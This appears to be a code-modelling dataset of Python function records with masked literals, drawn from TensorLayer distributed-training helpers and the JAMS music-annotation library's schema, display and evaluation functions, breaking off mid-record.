{"signature": "@deprecated(date=\"<STR_LIT>\", instructions=\"<STR_LIT>\")<EOL>def create_task_spec_def():", "body": "if '<STR_LIT>' in os.environ:<EOL><INDENT>env = json.loads(os.environ.get('<STR_LIT>', '<STR_LIT:{}>'))<EOL>task_data = env.get('<STR_LIT>', None) or {'<STR_LIT:type>': '<STR_LIT>', '<STR_LIT:index>': <NUM_LIT:0>}<EOL>cluster_data = env.get('<STR_LIT>', None) or {'<STR_LIT>': None, '<STR_LIT>': None, '<STR_LIT>': None}<EOL>return TaskSpecDef(<EOL>task_type=task_data['<STR_LIT:type>'], index=task_data['<STR_LIT:index>'],<EOL>trial=task_data['<STR_LIT>'] if '<STR_LIT>' in task_data else None, ps_hosts=cluster_data['<STR_LIT>'],<EOL>worker_hosts=cluster_data['<STR_LIT>'], master=cluster_data['<STR_LIT>'] if '<STR_LIT>' in cluster_data else None<EOL>)<EOL><DEDENT>elif '<STR_LIT>' in os.environ:<EOL><INDENT>return TaskSpecDef(<EOL>task_type=os.environ['<STR_LIT>'], index=os.environ['<STR_LIT>'], ps_hosts=os.environ.get('<STR_LIT>', None),<EOL>worker_hosts=os.environ.get('<STR_LIT>', None), master=os.environ.get('<STR_LIT>', None)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "Returns the a :class:`TaskSpecDef` based on the environment variables for distributed training.\n\n    References\n    ----------\n    - `ML-engine trainer considerations <https://cloud.google.com/ml-engine/docs/trainer-considerations#use_tf_config>`__\n    - `TensorPort Distributed Computing <https://www.tensorport.com/documentation/code-details/>`__", "id": "f11220:m0"}
{"signature": "@deprecated(date=\"<STR_LIT>\", instructions=\"<STR_LIT>\")<EOL>def create_distributed_session(<EOL>task_spec=None, checkpoint_dir=None, scaffold=None, hooks=None, chief_only_hooks=None, save_checkpoint_secs=<NUM_LIT>,<EOL>save_summaries_steps=object(), save_summaries_secs=object(), config=None, stop_grace_period_secs=<NUM_LIT>,<EOL>log_step_count_steps=<NUM_LIT:100><EOL>):", "body": "target = task_spec.target() if task_spec is not None else None<EOL>is_chief = task_spec.is_master() if task_spec is not None else True<EOL>return tf.train.MonitoredTrainingSession(<EOL>master=target, is_chief=is_chief, checkpoint_dir=checkpoint_dir, scaffold=scaffold,<EOL>save_checkpoint_secs=save_checkpoint_secs, save_summaries_steps=save_summaries_steps,<EOL>save_summaries_secs=save_summaries_secs, log_step_count_steps=log_step_count_steps,<EOL>stop_grace_period_secs=stop_grace_period_secs, config=config, hooks=hooks, chief_only_hooks=chief_only_hooks<EOL>)<EOL>", "docstring": "Creates a distributed session.\n\n    It calls `MonitoredTrainingSession` to create a :class:`MonitoredSession` for distributed training.\n\n    Parameters\n    ----------\n    task_spec : :class:`TaskSpecDef`.\n        The task spec definition from create_task_spec_def()\n    checkpoint_dir : str.\n        Optional path to a directory where to restore variables.\n    scaffold : ``Scaffold``\n        A `Scaffold` used for gathering or building supportive ops.\n        If not specified, a default one is created. It's used to finalize the graph.\n    hooks : list of ``SessionRunHook`` objects.\n        Optional\n    chief_only_hooks : list of ``SessionRunHook`` objects.\n        Activate these hooks if `is_chief==True`, ignore otherwise.\n    save_checkpoint_secs : int\n        The frequency, in seconds, that a checkpoint is saved\n        using a default checkpoint saver. If `save_checkpoint_secs` is set to\n        `None`, then the default checkpoint saver isn't used.\n    save_summaries_steps : int\n        The frequency, in number of global steps, that the\n        summaries are written to disk using a default summary saver. If both\n        `save_summaries_steps` and `save_summaries_secs` are set to `None`, then\n        the default summary saver isn't used. Default 100.\n    save_summaries_secs : int\n        The frequency, in secs, that the summaries are written\n        to disk using a default summary saver.  If both `save_summaries_steps` and\n        `save_summaries_secs` are set to `None`, then the default summary saver\n        isn't used. Default not enabled.\n    config : ``tf.ConfigProto``\n        an instance of `tf.ConfigProto` proto used to configure the session.\n        It's the `config` argument of constructor of `tf.Session`.\n    stop_grace_period_secs : int\n        Number of seconds given to threads to stop after\n        `close()` has been called.\n    log_step_count_steps : int\n        The frequency, in number of global steps, that the\n        global step/sec is logged.\n\n    Examples\n    --------\n    A simple example for distributed training where all the workers use the same dataset:\n\n    >>> task_spec = TaskSpec()\n    >>> with tf.device(task_spec.device_fn()):\n    >>>      tensors = create_graph()\n    >>> with tl.DistributedSession(task_spec=task_spec,\n    ...                            checkpoint_dir='/tmp/ckpt') as session:\n    >>>      while not session.should_stop():\n    >>>           session.run(tensors)\n\n    An example where the dataset is shared among the workers\n    (see https://www.tensorflow.org/programmers_guide/datasets):\n\n    >>> task_spec = TaskSpec()\n    >>> # dataset is a :class:`tf.data.Dataset` with the raw data\n    >>> dataset = create_dataset()\n    >>> if task_spec is not None:\n    >>>     dataset = dataset.shard(task_spec.num_workers, task_spec.shard_index)\n    >>> # shuffle or apply a map function to the new sharded dataset, for example:\n    >>> dataset = dataset.shuffle(buffer_size=10000)\n    >>> dataset = dataset.batch(batch_size)\n    >>> dataset = dataset.repeat(num_epochs)\n    >>> # create the iterator for the dataset and the input tensor\n    >>> iterator = dataset.make_one_shot_iterator()\n    >>> next_element = iterator.get_next()\n    >>> with tf.device(task_spec.device_fn()):\n    >>>      # next_element is the input for the graph\n    >>>      tensors = create_graph(next_element)\n    >>> with tl.DistributedSession(task_spec=task_spec,\n    ...                            checkpoint_dir='/tmp/ckpt') as session:\n    >>>      while not session.should_stop():\n    >>>           session.run(tensors)\n\n    References\n    ----------\n    - `MonitoredTrainingSession <https://www.tensorflow.org/api_docs/python/tf/train/MonitoredTrainingSession>`__", "id": "f11220:m1"}
{"signature": "@property<EOL><INDENT>def validation_metrics(self):<DEDENT>", "body": "if (self._validation_iterator is None) or (self._validation_metrics is None):<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>n = <NUM_LIT:0.0><EOL>metric_sums = [<NUM_LIT:0.0>] * len(self._validation_metrics)<EOL>self._sess.run(self._validation_iterator.initializer)<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>metrics = self._sess.run(self._validation_metrics)<EOL>for i, m in enumerate(metrics):<EOL><INDENT>metric_sums[i] += m<EOL><DEDENT>n += <NUM_LIT:1.0><EOL><DEDENT>except tf.errors.OutOfRangeError:<EOL><INDENT>break<EOL><DEDENT><DEDENT>for i, m in enumerate(metric_sums):<EOL><INDENT>metric_sums[i] = metric_sums[i] / n<EOL><DEDENT>return zip(self._validation_metrics, metric_sums)<EOL>", "docstring": "A helper function to compute validation related metrics", "id": "f11220:c0:m4"}
{"signature": "def train_on_batch(self):", "body": "self._sess.run(self._train_op)<EOL>", "docstring": "Train a mini-batch.", "id": "f11220:c0:m5"}
{"signature": "def train_and_validate_to_end(self, validate_step_size=<NUM_LIT:50>):", "body": "while not self._sess.should_stop():<EOL><INDENT>self.train_on_batch()  <EOL>if self.global_step % validate_step_size == <NUM_LIT:0>:<EOL><INDENT>log_str = '<STR_LIT>' % self.global_step<EOL>for n, m in self.validation_metrics:<EOL><INDENT>log_str += '<STR_LIT>' % (n.name, m)<EOL><DEDENT>logging.info(log_str)<EOL><DEDENT><DEDENT>", "docstring": "A helper function that shows how to train and validate a model at the same time.\n\n        Parameters\n        ----------\n        validate_step_size : int\n            Validate the training network every N steps.", "id": "f11220:c0:m6"}
{"signature": "def is_ps(self):", "body": "return self.type == '<STR_LIT>'<EOL>", "docstring": "Returns true if this server is a parameter server", "id": "f11220:c1:m1"}
{"signature": "def is_worker(self):", "body": "return self.type == '<STR_LIT>'<EOL>", "docstring": "Returns true if this server is a worker server", "id": "f11220:c1:m2"}
{"signature": "def is_master(self):", "body": "return self._master<EOL>", "docstring": "Returns true if this server is the master server", "id": "f11220:c1:m3"}
{"signature": "def is_evaluator(self):", "body": "return self.type == '<STR_LIT>' and self.num_workers == self._index<EOL>", "docstring": "Returns true if this server is the evaluator server", "id": "f11220:c1:m4"}
{"signature": "def device_fn(self):", "body": "current_device = '<STR_LIT>'.format(self.type, self._index)<EOL>ps_devices = '<STR_LIT>'<EOL>return tf.train.replica_device_setter(<EOL>ps_device=ps_devices, worker_device=current_device, cluster=self._cluster_spec<EOL>)<EOL>", "docstring": "Returns the function with the specification to create the graph in this server", "id": "f11220:c1:m5"}
{"signature": "def use_last_worker_as_evaluator(self):", "body": "if self.num_workers <= <NUM_LIT:1>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return TaskSpecDef(<EOL>task_type=self.type, index=self._index, trial=self.trial, ps_hosts=self.ps_hosts,<EOL>worker_hosts=self.worker_hosts[:-<NUM_LIT:1>], master=self.master<EOL>)<EOL>", "docstring": "Returns a new :class:`TaskSpecDef` where the last worker has been removed from\n        the list of worker_hosts, so it is not used for training anymore. You can call\n        is_evaluator to know whether this server is the evaluator one or not.\n        In case there is only one server for training this method raises an exception, as\n        you cannot use any server for evaluation.", "id": "f11220:c1:m8"}
{"signature": "def clean_warning_registry():", "body": "warnings.resetwarnings()<EOL>reg = \"<STR_LIT>\"<EOL>for mod_name, mod in list(sys.modules.items()):<EOL><INDENT>if '<STR_LIT>' in mod_name:<EOL><INDENT>continue<EOL><DEDENT>if hasattr(mod, reg):<EOL><INDENT>getattr(mod, reg).clear()<EOL><DEDENT><DEDENT>", "docstring": "Safe way to reset warnings", "id": "f11227:m0"}
{"signature": "def import_lab(namespace, filename, infer_duration=True, **parse_options):", "body": "<EOL>annotation = core.Annotation(namespace)<EOL>parse_options.setdefault('<STR_LIT>', r'<STR_LIT>')<EOL>parse_options.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>parse_options.setdefault('<STR_LIT>', None)<EOL>parse_options.setdefault('<STR_LIT>', False)<EOL>parse_options.setdefault('<STR_LIT>', range(<NUM_LIT:20>))<EOL>data = pd.read_csv(filename, **parse_options)<EOL>data = data.dropna(how='<STR_LIT:all>', axis=<NUM_LIT:1>)<EOL>if len(data.columns) == <NUM_LIT:2>:<EOL><INDENT>data.insert(<NUM_LIT:1>, '<STR_LIT>', <NUM_LIT:0>)<EOL>if infer_duration:<EOL><INDENT>data['<STR_LIT>'][:-<NUM_LIT:1>] = data.loc[:, <NUM_LIT:0>].diff()[<NUM_LIT:1>:].values<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if infer_duration:<EOL><INDENT>data.loc[:, <NUM_LIT:1>] -= data[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>for row in data.itertuples():<EOL><INDENT>time, duration = row[<NUM_LIT:1>:<NUM_LIT:3>]<EOL>value = [x for x in row[<NUM_LIT:3>:] if x is not None][-<NUM_LIT:1>]<EOL>annotation.append(time=time,<EOL>duration=duration,<EOL>confidence=<NUM_LIT:1.0>,<EOL>value=value)<EOL><DEDENT>return annotation<EOL>", "docstring": "r'''Load a .lab file as an Annotation object.\n\n    .lab files are assumed to have the following format:\n\n        ``TIME_START\\tTIME_END\\tANNOTATION``\n\n    By default, .lab files are assumed to have columns separated by one\n    or more white-space characters, and have no header or index column\n    information.\n\n    If the .lab file contains only two columns, then an empty duration\n    field is inferred.\n\n    If the .lab file contains more than three columns, each row's\n    annotation value is assigned the contents of last non-empty column.\n\n\n    Parameters\n    ----------\n    namespace : str\n        The namespace for the new annotation\n\n    filename : str\n        Path to the .lab file\n\n    infer_duration : bool\n        If `True`, interval durations are inferred from `(start, end)` columns,\n        or difference between successive times.\n\n        If `False`, interval durations are assumed to be explicitly coded as\n        `(start, duration)` columns.  If only one time column is given, then\n        durations are set to 0.\n\n        For instantaneous event annotations (e.g., beats or onsets), this\n        should be set to `False`.\n\n    parse_options : additional keyword arguments\n        Passed to ``pandas.DataFrame.read_csv``\n\n    Returns\n    -------\n    annotation : Annotation\n        The newly constructed annotation object\n\n    See Also\n    --------\n    pandas.DataFrame.read_csv", "id": "f11232:m0"}
{"signature": "def expand_filepaths(base_dir, rel_paths):", "body": "return [os.path.join(base_dir, os.path.normpath(rp)) for rp in rel_paths]<EOL>", "docstring": "Expand a list of relative paths to a give base directory.\n\n    Parameters\n    ----------\n    base_dir : str\n        The target base directory\n\n    rel_paths : list (or list-like)\n        Collection of relative path strings\n\n    Returns\n    -------\n    expanded_paths : list\n        `rel_paths` rooted at `base_dir`\n\n    Examples\n    --------\n    >>> jams.util.expand_filepaths('/data', ['audio', 'beat', 'seglab'])\n    ['/data/audio', '/data/beat', '/data/seglab']", "id": "f11232:m1"}
{"signature": "def smkdirs(dpath, mode=<NUM_LIT>):", "body": "if not os.path.exists(dpath):<EOL><INDENT>os.makedirs(dpath, mode=mode)<EOL><DEDENT>", "docstring": "Safely make a full directory path if it doesn't exist.\n\n    Parameters\n    ----------\n    dpath : str\n        Path of directory/directories to create\n\n    mode : int [default=0777]\n        Permissions for the new directories\n\n    See also\n    --------\n    os.makedirs", "id": "f11232:m2"}
{"signature": "def filebase(filepath):", "body": "return os.path.splitext(os.path.basename(filepath))[<NUM_LIT:0>]<EOL>", "docstring": "Return the extension-less basename of a file path.\n\n    Parameters\n    ----------\n    filepath : str\n        Path to a file\n\n    Returns\n    -------\n    base : str\n        The name of the file, with directory and extension removed\n\n    Examples\n    --------\n    >>> jams.util.filebase('my_song.mp3')\n    'my_song'", "id": "f11232:m3"}
{"signature": "def find_with_extension(in_dir, ext, depth=<NUM_LIT:3>, sort=True):", "body": "assert depth >= <NUM_LIT:1><EOL>ext = ext.strip(os.extsep)<EOL>match = list()<EOL>for n in range(<NUM_LIT:1>, depth+<NUM_LIT:1>):<EOL><INDENT>wildcard = os.path.sep.join([\"<STR_LIT:*>\"]*n)<EOL>search_path = os.path.join(in_dir, os.extsep.join([wildcard, ext]))<EOL>match += glob.glob(search_path)<EOL><DEDENT>if sort:<EOL><INDENT>match.sort()<EOL><DEDENT>return match<EOL>", "docstring": "Naive depth-search into a directory for files with a given extension.\n\n    Parameters\n    ----------\n    in_dir : str\n        Path to search.\n    ext : str\n        File extension to match.\n    depth : int\n        Depth of directories to search.\n    sort : bool\n        Sort the list alphabetically\n\n    Returns\n    -------\n    matched : list\n        Collection of matching file paths.\n\n    Examples\n    --------\n    >>> jams.util.find_with_extension('Audio', 'wav')\n    ['Audio/LizNelson_Rainfall/LizNelson_Rainfall_MIX.wav',\n     'Audio/LizNelson_Rainfall/LizNelson_Rainfall_RAW/LizNelson_Rainfall_RAW_01_01.wav',\n     'Audio/LizNelson_Rainfall/LizNelson_Rainfall_RAW/LizNelson_Rainfall_RAW_02_01.wav',\n     ...\n     'Audio/Phoenix_ScotchMorris/Phoenix_ScotchMorris_STEMS/Phoenix_ScotchMorris_STEM_02.wav',\n     'Audio/Phoenix_ScotchMorris/Phoenix_ScotchMorris_STEMS/Phoenix_ScotchMorris_STEM_03.wav',\n    'Audio/Phoenix_ScotchMorris/Phoenix_ScotchMorris_STEMS/Phoenix_ScotchMorris_STEM_04.wav']", "id": "f11232:m4"}
{"signature": "def add_namespace(filename):", "body": "with open(filename, mode='<STR_LIT:r>') as fileobj:<EOL><INDENT>__NAMESPACE__.update(json.load(fileobj))<EOL><DEDENT>", "docstring": "Add a namespace definition to our working set.\n\n    Namespace files consist of partial JSON schemas defining the behavior\n    of the `value` and `confidence` fields of an Annotation.\n\n    Parameters\n    ----------\n    filename : str\n        Path to json file defining the namespace object", "id": "f11234:m0"}
{"signature": "def namespace(ns_key):", "body": "if ns_key not in __NAMESPACE__:<EOL><INDENT>raise NamespaceError('<STR_LIT>'.format(ns_key))<EOL><DEDENT>sch = copy.deepcopy(JAMS_SCHEMA['<STR_LIT>']['<STR_LIT>'])<EOL>for key in ['<STR_LIT:value>', '<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>sch['<STR_LIT>'][key] = __NAMESPACE__[ns_key][key]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return sch<EOL>", "docstring": "Construct a validation schema for a given namespace.\n\n    Parameters\n    ----------\n    ns_key : str\n        Namespace key identifier (eg, 'beat' or 'segment_tut')\n\n    Returns\n    -------\n    schema : dict\n        JSON schema of `namespace`", "id": "f11234:m1"}
{"signature": "def namespace_array(ns_key):", "body": "obs_sch = namespace(ns_key)<EOL>obs_sch['<STR_LIT:title>'] = '<STR_LIT>'<EOL>sch = copy.deepcopy(JAMS_SCHEMA['<STR_LIT>']['<STR_LIT>'])<EOL>sch['<STR_LIT>'] = obs_sch<EOL>return sch<EOL>", "docstring": "Construct a validation schema for arrays of a given namespace.\n\n    Parameters\n    ----------\n    ns_key : str\n        Namespace key identifier\n\n    Returns\n    -------\n    schema : dict\n        JSON schema of `namespace` observation arrays", "id": "f11234:m2"}
{"signature": "def is_dense(ns_key):", "body": "if ns_key not in __NAMESPACE__:<EOL><INDENT>raise NamespaceError('<STR_LIT>'.format(ns_key))<EOL><DEDENT>return __NAMESPACE__[ns_key]['<STR_LIT>']<EOL>", "docstring": "Determine whether a namespace has dense formatting.\n\n    Parameters\n    ----------\n    ns_key : str\n        Namespace key identifier\n\n    Returns\n    -------\n    dense : bool\n        True if `ns_key` has a dense packing\n        False otherwise.", "id": "f11234:m3"}
{"signature": "def values(ns_key):", "body": "if ns_key not in __NAMESPACE__:<EOL><INDENT>raise NamespaceError('<STR_LIT>'.format(ns_key))<EOL><DEDENT>if '<STR_LIT>' not in __NAMESPACE__[ns_key]['<STR_LIT:value>']:<EOL><INDENT>raise NamespaceError('<STR_LIT>'.format(ns_key))<EOL><DEDENT>return copy.copy(__NAMESPACE__[ns_key]['<STR_LIT:value>']['<STR_LIT>'])<EOL>", "docstring": "Return the allowed values for an enumerated namespace.\n\n    Parameters\n    ----------\n    ns_key : str\n        Namespace key identifier\n\n    Returns\n    -------\n    values : list\n\n    Raises\n    ------\n    NamespaceError\n        If `ns_key` is not found, or does not have enumerated values\n\n    Examples\n    --------\n    >>> jams.schema.values('tag_gtzan')\n    ['blues', 'classical', 'country', 'disco', 'hip-hop', 'jazz',\n     'metal', 'pop', 'reggae', 'rock']", "id": "f11234:m4"}
{"signature": "def get_dtypes(ns_key):", "body": "<EOL>if ns_key not in __NAMESPACE__:<EOL><INDENT>raise NamespaceError('<STR_LIT>'.format(ns_key))<EOL><DEDENT>value_dtype = __get_dtype(__NAMESPACE__[ns_key].get('<STR_LIT:value>', {}))<EOL>confidence_dtype = __get_dtype(__NAMESPACE__[ns_key].get('<STR_LIT>', {}))<EOL>return value_dtype, confidence_dtype<EOL>", "docstring": "Get the dtypes associated with the value and confidence fields\n    for a given namespace.\n\n    Parameters\n    ----------\n    ns_key : str\n        The namespace key in question\n\n    Returns\n    -------\n    value_dtype, confidence_dtype : numpy.dtype\n        Type identifiers for value and confidence fields.", "id": "f11234:m5"}
{"signature": "def list_namespaces():", "body": "print('<STR_LIT>'.format('<STR_LIT>', '<STR_LIT>'))<EOL>print('<STR_LIT:->' * <NUM_LIT>)<EOL>for sch in sorted(__NAMESPACE__):<EOL><INDENT>desc = __NAMESPACE__[sch]['<STR_LIT:description>']<EOL>desc = (desc[:<NUM_LIT>] + '<STR_LIT:..>') if len(desc) > <NUM_LIT> else desc<EOL>print('<STR_LIT>'.format(sch, desc))<EOL><DEDENT>", "docstring": "Print out a listing of available namespaces", "id": "f11234:m6"}
{"signature": "def __get_dtype(typespec):", "body": "if '<STR_LIT:type>' in typespec:<EOL><INDENT>return __TYPE_MAP__.get(typespec['<STR_LIT:type>'], np.object_)<EOL><DEDENT>elif '<STR_LIT>' in typespec:<EOL><INDENT>return np.object_<EOL><DEDENT>elif '<STR_LIT>' in typespec:<EOL><INDENT>types = [__get_dtype(v) for v in typespec['<STR_LIT>']]<EOL>if all([t == types[<NUM_LIT:0>] for t in types]):<EOL><INDENT>return types[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return np.object_<EOL>", "docstring": "Get the dtype associated with a jsonschema type definition\n\n    Parameters\n    ----------\n    typespec : dict\n        The schema definition\n\n    Returns\n    -------\n    dtype : numpy.dtype\n        The associated dtype", "id": "f11234:m7"}
{"signature": "def __load_jams_schema():", "body": "schema_file = os.path.join(SCHEMA_DIR, '<STR_LIT>')<EOL>jams_schema = None<EOL>with open(resource_filename(__name__, schema_file), mode='<STR_LIT:r>') as fdesc:<EOL><INDENT>jams_schema = json.load(fdesc)<EOL><DEDENT>if jams_schema is None:<EOL><INDENT>raise JamsError('<STR_LIT>')<EOL><DEDENT>return jams_schema<EOL>", "docstring": "Load the schema file from the package.", "id": "f11234:m8"}
{"signature": "def pprint_jobject(obj, **kwargs):", "body": "obj_simple = {k: v for k, v in six.iteritems(obj.__json__) if v}<EOL>string = json.dumps(obj_simple, **kwargs)<EOL>string = re.sub(r'<STR_LIT>', '<STR_LIT>', string)<EOL>string = re.sub(r'<STR_LIT>', '<STR_LIT:\\n>', string)<EOL>string = re.sub(r'<STR_LIT>', '<STR_LIT>', string)<EOL>return string<EOL>", "docstring": "Pretty-print a jobject.\n\n    Parameters\n    ----------\n    obj : jams.JObject\n\n    kwargs\n        additional parameters to `json.dumps`\n\n    Returns\n    -------\n    string\n        A simplified display of `obj` contents.", "id": "f11235:m0"}
{"signature": "def intervals(annotation, **kwargs):", "body": "times, labels = annotation.to_interval_values()<EOL>return mir_eval.display.labeled_intervals(times, labels, **kwargs)<EOL>", "docstring": "Plotting wrapper for labeled intervals", "id": "f11235:m1"}
{"signature": "def hierarchy(annotation, **kwargs):", "body": "htimes, hlabels = hierarchy_flatten(annotation)<EOL>htimes = [np.asarray(_) for _ in htimes]<EOL>return mir_eval.display.hierarchy(htimes, hlabels, **kwargs)<EOL>", "docstring": "Plotting wrapper for hierarchical segmentations", "id": "f11235:m2"}
{"signature": "def pitch_contour(annotation, **kwargs):", "body": "ax = kwargs.pop('<STR_LIT>', None)<EOL>ax = mir_eval.display.__get_axes(ax=ax)[<NUM_LIT:0>]<EOL>times, values = annotation.to_interval_values()<EOL>indices = np.unique([v['<STR_LIT:index>'] for v in values])<EOL>for idx in indices:<EOL><INDENT>rows = [i for (i, v) in enumerate(values) if v['<STR_LIT:index>'] == idx]<EOL>freqs = np.asarray([values[r]['<STR_LIT>'] for r in rows])<EOL>unvoiced = ~np.asarray([values[r]['<STR_LIT>'] for r in rows])<EOL>freqs[unvoiced] *= -<NUM_LIT:1><EOL>ax = mir_eval.display.pitch(times[rows, <NUM_LIT:0>], freqs, unvoiced=True,<EOL>ax=ax,<EOL>**kwargs)<EOL><DEDENT>return ax<EOL>", "docstring": "Plotting wrapper for pitch contours", "id": "f11235:m3"}
{"signature": "def event(annotation, **kwargs):", "body": "times, values = annotation.to_interval_values()<EOL>if any(values):<EOL><INDENT>labels = values<EOL><DEDENT>else:<EOL><INDENT>labels = None<EOL><DEDENT>return mir_eval.display.events(times, labels=labels, **kwargs)<EOL>", "docstring": "Plotting wrapper for events", "id": "f11235:m4"}
{"signature": "def beat_position(annotation, **kwargs):", "body": "times, values = annotation.to_interval_values()<EOL>labels = [_['<STR_LIT>'] for _ in values]<EOL>return mir_eval.display.events(times, labels=labels, **kwargs)<EOL>", "docstring": "Plotting wrapper for beat-position data", "id": "f11235:m5"}
{"signature": "def piano_roll(annotation, **kwargs):", "body": "times, midi = annotation.to_interval_values()<EOL>return mir_eval.display.piano_roll(times, midi=midi, **kwargs)<EOL>", "docstring": "Plotting wrapper for piano rolls", "id": "f11235:m6"}
{"signature": "def display(annotation, meta=True, **kwargs):", "body": "for namespace, func in six.iteritems(VIZ_MAPPING):<EOL><INDENT>try:<EOL><INDENT>ann = coerce_annotation(annotation, namespace)<EOL>axes = func(ann, **kwargs)<EOL>axes.set_title(annotation.namespace)<EOL>if meta:<EOL><INDENT>description = pprint_jobject(annotation.annotation_metadata, indent=<NUM_LIT:2>)<EOL>anchored_box = AnchoredText(description.strip('<STR_LIT:\\n>'),<EOL>loc=<NUM_LIT:2>,<EOL>frameon=True,<EOL>bbox_to_anchor=(<NUM_LIT>, <NUM_LIT:1.0>),<EOL>bbox_transform=axes.transAxes,<EOL>borderpad=<NUM_LIT:0.0>)<EOL>axes.add_artist(anchored_box)<EOL>axes.figure.subplots_adjust(right=<NUM_LIT>)<EOL><DEDENT>return axes<EOL><DEDENT>except NamespaceError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise NamespaceError('<STR_LIT>'<EOL>.format(annotation.namespace))<EOL>", "docstring": "Visualize a jams annotation through mir_eval\n\n    Parameters\n    ----------\n    annotation : jams.Annotation\n        The annotation to display\n\n    meta : bool\n        If `True`, include annotation metadata in the figure\n\n    kwargs\n        Additional keyword arguments to mir_eval.display functions\n\n    Returns\n    -------\n    ax\n        Axis handles for the new display\n\n    Raises\n    ------\n    NamespaceError\n        If the annotation cannot be visualized", "id": "f11235:m7"}
{"signature": "def display_multi(annotations, fig_kw=None, meta=True, **kwargs):", "body": "if fig_kw is None:<EOL><INDENT>fig_kw = dict()<EOL><DEDENT>fig_kw.setdefault('<STR_LIT>', True)<EOL>fig_kw.setdefault('<STR_LIT>', True)<EOL>display_annotations = []<EOL>for ann in annotations:<EOL><INDENT>for namespace in VIZ_MAPPING:<EOL><INDENT>if can_convert(ann, namespace):<EOL><INDENT>display_annotations.append(ann)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not len(display_annotations):<EOL><INDENT>raise ParameterError('<STR_LIT>')<EOL><DEDENT>fig, axs = plt.subplots(nrows=len(display_annotations), ncols=<NUM_LIT:1>, **fig_kw)<EOL>if len(display_annotations) == <NUM_LIT:1>:<EOL><INDENT>axs = [axs]<EOL><DEDENT>for ann, ax in zip(display_annotations, axs):<EOL><INDENT>kwargs['<STR_LIT>'] = ax<EOL>display(ann, meta=meta, **kwargs)<EOL><DEDENT>return fig, axs<EOL>", "docstring": "Display multiple annotations with shared axes\n\n    Parameters\n    ----------\n    annotations : jams.AnnotationArray\n        A collection of annotations to display\n\n    fig_kw : dict\n        Keyword arguments to `plt.figure`\n\n    meta : bool\n        If `True`, display annotation metadata for each annotation\n\n    kwargs\n        Additional keyword arguments to the `mir_eval.display` routines\n\n    Returns\n    -------\n    fig\n        The created figure\n    axs\n        List of subplot axes corresponding to each displayed annotation", "id": "f11235:m8"}
{"signature": "def coerce_annotation(ann, namespace):", "body": "ann = convert(ann, namespace)<EOL>ann.validate(strict=True)<EOL>return ann<EOL>", "docstring": "Validate that the annotation has the correct namespace,\n    and is well-formed.\n\n    If the annotation is not of the correct namespace, automatic conversion\n    is attempted.\n\n    Parameters\n    ----------\n    ann : jams.Annotation\n        The annotation object in question\n\n    namespace : str\n        The namespace pattern to match `ann` against\n\n    Returns\n    -------\n    ann_coerced: jams.Annotation\n        The annotation coerced to the target namespace\n\n    Raises\n    ------\n    NamespaceError\n        If `ann` does not match the proper namespace\n\n    SchemaError\n        If `ann` fails schema validation\n\n    See Also\n    --------\n    jams.nsconvert.convert", "id": "f11236:m0"}
{"signature": "def beat(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_times, _ = ref.to_event_values()<EOL>est_times, _ = est.to_event_values()<EOL>return mir_eval.beat.evaluate(ref_times, est_times, **kwargs)<EOL>", "docstring": "r'''Beat tracking evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.beat.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='beat')[0]\n    >>> est_ann = est_jam.search(namespace='beat')[0]\n    >>> scores = jams.eval.beat(ref_ann, est_ann)", "id": "f11236:m1"}
{"signature": "def onset(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_times, _ = ref.to_event_values()<EOL>est_times, _ = est.to_event_values()<EOL>return mir_eval.onset.evaluate(ref_times, est_times, **kwargs)<EOL>", "docstring": "r'''Onset evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.onset.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = jams.load('estimated.jams')\n    >>> # Select the first relevant annotations\n    >>> ref_ann = ref_jam.search(namespace='onset')[0]\n    >>> est_ann = est_jam.search(namespace='onset')[0]\n    >>> scores = jams.eval.onset(ref_ann, est_ann)", "id": "f11236:m2"}
{"signature": "def chord(ref, est, **kwargs):", "body": "namespace = '<STR_LIT>'<EOL>ref = coerce_annotation(ref, namespace)<EOL>est = coerce_annotation(est, namespace)<EOL>ref_interval, ref_value = ref.to_interval_values()<EOL>est_interval, est_value = est.to_interval_values()<EOL>return mir_eval.chord.evaluate(ref_interval, ref_value,<EOL>est_interval, est_value, **kwargs)<EOL>", "docstring": "r'''Chord evaluation\n\n    Parameters\n    ----------\n    ref : jams.Annotation\n        Reference annotation object\n    est : jams.Annotation\n        Estimated annotation object\n    kwargs\n        Additional keyword arguments\n\n    Returns\n    -------\n    scores : dict\n        Dictionary of scores, where the key is the metric name (str) and\n        the value is the (float) score achieved.\n\n    See Also\n    --------\n    mir_eval.chord.evaluate\n\n    Examples\n    --------\n    >>> # Load in the JAMS objects\n    >>> ref_jam = jams.load('reference.jams')\n    >>> est_jam = 